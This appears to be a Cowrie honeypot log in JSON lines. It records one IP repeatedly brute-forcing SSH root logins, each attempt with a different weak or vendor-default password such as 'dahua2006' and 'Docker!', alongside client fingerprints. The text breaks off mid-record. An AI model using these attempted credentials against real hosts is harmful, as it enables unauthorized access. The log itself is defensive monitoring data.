{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:27.799813Z","src_ip":"60.165.124.241","session":"b007505c7bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#","message":"login attempt [root/admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:28.522300Z","src_ip":"60.165.124.241","session":"b007505c7bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:29.764619Z","src_ip":"60.165.124.241","session":"b007505c7bf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51774,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfb9e37757ef","protocol":"ssh","message":"New connection: 60.165.124.241:51774 (10.17.0.5:22) [session: bfb9e37757ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:29.998953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:30.004452Z","src_ip":"60.165.124.241","session":"bfb9e37757ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:30.243416Z","src_ip":"60.165.124.241","session":"bfb9e37757ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dahua2006","message":"login attempt [root/dahua2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:30.968007Z","src_ip":"60.165.124.241","session":"bfb9e37757ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:32.209081Z","src_ip":"60.165.124.241","session":"bfb9e37757ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54704,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3c8a6f3d0f8","protocol":"ssh","message":"New connection: 60.165.124.241:54704 (10.17.0.5:22) [session: f3c8a6f3d0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:32.477555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:32.482411Z","src_ip":"60.165.124.241","session":"f3c8a6f3d0f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:32.741612Z","src_ip":"60.165.124.241","session":"f3c8a6f3d0f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm123@","message":"login attempt [root/Zxcvbnm123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:33.513594Z","src_ip":"60.165.124.241","session":"f3c8a6f3d0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41792,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f7da50118a","protocol":"telnet","message":"New connection: 135.148.33.91:41792 (159.203.135.109:23) [session: 94f7da50118a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:34.485727Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:34.770686Z","src_ip":"60.165.124.241","session":"f3c8a6f3d0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58398,"dst_ip":"10.17.0.5","dst_port":22,"session":"4be12b9da064","protocol":"ssh","message":"New connection: 60.165.124.241:58398 (10.17.0.5:22) [session: 4be12b9da064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:35.006104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:35.014855Z","src_ip":"60.165.124.241","session":"4be12b9da064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:35.258629Z","src_ip":"60.165.124.241","session":"4be12b9da064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rdPassw0rd","message":"login attempt [root/Passw0rdPassw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:36.237441Z","src_ip":"60.165.124.241","session":"4be12b9da064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:37.487408Z","src_ip":"60.165.124.241","session":"4be12b9da064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33630,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a96be4c9e02","protocol":"ssh","message":"New connection: 60.165.124.241:33630 (10.17.0.5:22) [session: 6a96be4c9e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:37.732426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:37.740250Z","src_ip":"60.165.124.241","session":"6a96be4c9e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:37.990232Z","src_ip":"60.165.124.241","session":"6a96be4c9e02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:38.740206Z","src_ip":"60.165.124.241","session":"6a96be4c9e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:39.991231Z","src_ip":"60.165.124.241","session":"6a96be4c9e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36426,"dst_ip":"10.17.0.5","dst_port":22,"session":"51275e082d5d","protocol":"ssh","message":"New connection: 60.165.124.241:36426 (10.17.0.5:22) [session: 51275e082d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:40.229949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:40.235256Z","src_ip":"60.165.124.241","session":"51275e082d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:40.481577Z","src_ip":"60.165.124.241","session":"51275e082d5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Certus@20xx","message":"login attempt [root/Certus@20xx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:41.223162Z","src_ip":"60.165.124.241","session":"51275e082d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:42.471668Z","src_ip":"60.165.124.241","session":"51275e082d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39752,"dst_ip":"10.17.0.5","dst_port":22,"session":"2368d4a11507","protocol":"ssh","message":"New connection: 60.165.124.241:39752 (10.17.0.5:22) [session: 2368d4a11507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:42.696038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:42.703939Z","src_ip":"60.165.124.241","session":"2368d4a11507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:42.943461Z","src_ip":"60.165.124.241","session":"2368d4a11507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Docker!","message":"login attempt [root/Docker!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:43.660111Z","src_ip":"60.165.124.241","session":"2368d4a11507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:44.907787Z","src_ip":"60.165.124.241","session":"2368d4a11507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42828,"dst_ip":"10.17.0.5","dst_port":22,"session":"779e8184a924","protocol":"ssh","message":"New connection: 60.165.124.241:42828 (10.17.0.5:22) [session: 779e8184a924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:45.141584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:45.146653Z","src_ip":"60.165.124.241","session":"779e8184a924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:45.384413Z","src_ip":"60.165.124.241","session":"779e8184a924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zx123456","message":"login attempt [root/Zx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:46.103735Z","src_ip":"60.165.124.241","session":"779e8184a924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:47.344492Z","src_ip":"60.165.124.241","session":"779e8184a924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45978,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e3aaa4c0751","protocol":"ssh","message":"New connection: 60.165.124.241:45978 (10.17.0.5:22) [session: 5e3aaa4c0751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:47.573356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:47.581751Z","src_ip":"60.165.124.241","session":"5e3aaa4c0751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 